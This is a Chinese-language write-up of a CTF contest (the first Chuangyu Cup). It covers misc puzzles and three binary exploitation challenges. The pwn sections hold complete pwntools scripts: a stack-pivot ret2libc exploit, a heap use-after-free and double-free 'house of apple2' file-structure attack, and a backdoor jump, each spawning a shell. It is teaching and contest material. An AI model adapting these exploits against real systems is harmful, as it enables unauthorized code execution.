第一届创宇杯网络安全技能大赛-WriteUp

misc 2

流量分析，全是usb流量，工具一把梭

flag{f871360f-c350-42dda-a7852-ds5b8a252d3}

misc 3(未解出)

这题附件给了一堆二进制数

发现长度是841，正好是29的平方，因此可以往二维码方向尝试

from PIL import Image
MAX = 29
pic = Image.new("RGB",(MAX, MAX))
str = "1111111000101110001110111111110000010101001111110001000001101110100000101000011010111011011101011101111010100101110110111010010000101111001011101100000101101100101001010000011111111010101010101010111111100000000011100010000100000000111110111101011001000101010100001000100101000111111111000100101010101000010000110000000010111010000101100001011110101011011101101110111011010110000010100010000100111111110001010110101111110111001011111000010110111110010100111101001000111111001111111101000001100110100010100101000111111101011010001000000101011000110010010000000010010100011010110010100111100010110001111111101110000000010010110100110001111111111110110000111011101011100100000100111001100111000100111011101011000101111011111010110111010110100101000100101111101110101110010101111111111101000001011010011000011010101011111110111011111111000111100"
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

得到二维码

扫码得到一个网盘地址，下载得到一个MP4文件

尝试信息搜集没果。。
尝试每0.5s提取帧也没找到flag

misc 4

可惜了这题当时没做出来，一步思路想错了

首先附件是个pdf，binwalk提取出来一个压缩包，随波直流分析一波

发现最后有base64密文，解码得到

ccd80ae3179}这是给你的猫猫的flag

当时得到这个之后有尝试伪加密，但是一般伪加密都能用的随波逐流随出来，没成功就没往这方面再尝试，一直试用明文爆破。。

结果真是伪加密 用zipcenop工具

得到

解码拼接得到flag

flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}

pwn 1

代码里有一个类似canary的东西，利用两次栈迁移，一次泄露libc，一次打ret2libc

from pwn import *
# from LibcSearcher import *
# from LibcSearchermax import LibcSearcher, LocalDatabaseBackend

io=process("./blindrop")
libc=ELF("./libc.so.6")
context.arch="i386"
exp=0xDCC82F00
puts_plt=0x8049080
puts_got=0x804b28c
leave=0x80492C0
vuln=0x8049223

io.recvuntil("payload> ")
pal=b'a'*0x8+b'leak'
# gdb.attach(io)
io.sendline(pal)
io.recvuntil("leak")
stack=u32(io.recv(4))-0x1e+0x80-0xd0-0x20
log.info("stack: 0x%x"%stack)
# gdb.attach(io)


io.recvuntil("payload> ")
pal=p32(puts_plt)+p32(vuln)+p32(puts_got)+p32(exp)*32+p32(stack-0x4)
pal+=p32(leave)+p32(exp)
# gdb.attach(io)
io.sendline(pal)
io.recvuntil("canary check passed.\n")
leak=u32(io.recv(4))-0x73280
log.info("leak: 0x%x"%leak)
system_addr=leak+libc.symbols["system"]
bin_sh_addr=leak+next(libc.search(b"/bin/sh"))
# gdb.attach(io)
# obj=LibcSearcher("puts",leak)
# libc_base=leak-obj.dump("puts")
# system_addr=obj.dump("system")+libc_base
# binsh_addr=obj.dump("str_bin_sh")+libc_base
log.info("libc: 0x%x"%leak)
log.info("system: 0x%x"%system_addr)
log.info("binsh: 0x%x"%bin_sh_addr)
# gdb.attach(io)
pal=p32(system_addr)+p32(0)+p32(bin_sh_addr)+p32(exp)*32+p32(stack-0x88-0x4)
pal+=p32(leave)+p32(exp)
gdb.attach(io)
io.sendline(pal)
io.interactive()

pwn2

• 利用uaf泄露heap和libc地址
• 构造fake_file打house of apple2
• double free申请到_IO_list_all chunk
• 修改_IO_list_all chunk到fake_file

from pwn import *
io=process("./pwn")
libc=ELF("./libc.so.6")    

def add(size,content):
    io.sendafter(">> ","1")
    io.sendafter("Size: ",str(size))
    io.sendafter("Content: ",content)

def delete(index):
    io.sendafter(">> ","2")
    io.sendafter("Index: ",str(index))

def show(index):
    io.sendafter(">> ","3")
    io.sendafter("Index: ",str(index))

def edit(index,content):
    io.sendafter(">> ","4")
    io.sendafter("Index: ",str(index))
    io.sendafter("Content: ",content)
#leak libc heap
add(0x500,"a"*0x20)
add(0x100,"b"*0x20)
delete(0)
show(0)
io.recvuntil("Content: ")
libc_address=u64(io.recv(6).ljust(8,b"\x00"))-0x21ace0
log.success("libc: "+hex(libc_address))
system=libc_address+libc.symbols["system"]
bin_sh=libc_address+next(libc.search(b"/bin/sh"))
log.success("bin_sh: "+hex(bin_sh))
log.success("system: "+hex(system))

add(0x100,"a"*0x20)
add(0x20,"b"*0x20)
delete(1)
delete(2)
show(1)
io.recvuntil("Content: ")
heap=u64(io.recv(6).ljust(8,b"\x00"))
heap=heap<<12
log.success("heap: "+hex(heap))

_IO_list_all=libc_address+libc.symbols["_IO_list_all"]
log.success("_IO_list_all: "+hex(_IO_list_all))
_IO_wfile_overflow=libc_address+libc.symbols["_IO_wfile_overflow"]
log.success("_IO_wfile_overflow: "+hex(_IO_wfile_overflow))

# add(0x3f0,"a"*0x20)
fake_file = heap+0x8c0
payload = bytearray(0x3f0)
payload[0:4] = b' sh\x00'
payload[0x8:0x10] = p64(0)
payload[0x10:0x18] = p64(1)
payload[0x20:0x28] = p64(0)
payload[0x28:0x30] = p64(1)
payload[0x68:0x70] = p64(0)
payload[0x88:0x90] = p64(fake_file + 0x300)
payload[0xa0:0xa8] = p64(fake_file + 0xb0)
payload[0xc0:0xc8] = p64(1)
payload[0xd8:0xe0] = p64(libc_address+libc.symbols['_IO_wfile_jumps'])
payload[0xb0 + 0x18:0xb0 + 0x20] = p64(0)
payload[0xb0 + 0x20:0xb0 + 0x28] = p64(1)
payload[0xb0 + 0x30:0xb0 + 0x38] = p64(0)
payload[0x120 + 0x68:0x120 + 0x70] = p64(libc_address+libc.symbols['system'])
payload[0xb0 + 0xe0:0xb0 + 0xe8] = p64(fake_file + 0x120)
add(0x3f0, bytes(payload))

heap2=heap+0x2a0
heap1=heap+0x7b0

pal=p64((heap2>>12)^(_IO_list_all))
log.success("pal: "+hex((heap2>>12)^(_IO_list_all)))
edit(2,pal)

add(0x100,"a"*0x20)
add(0x100,p64(fake_file))

# gdb.attach(io)
io.sendafter(">> ","5")
io.interactive()

pwn3

一个简易的模拟入栈出栈，从存储器读和写的程序 ，有后门

from pwn import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote('challenge.xiaoyuyc.com', 49751)

pal=b'\x01'+p64(0x4012C7)
pal+=b'\x02\x08'+b'\x04\x00'
io.sendlineafter(b'len> ', str(len(pal)))
# gdb.attach(io)
io.sendafter(b'code> ', pal)
# gdb.attach(io)
io.interactive()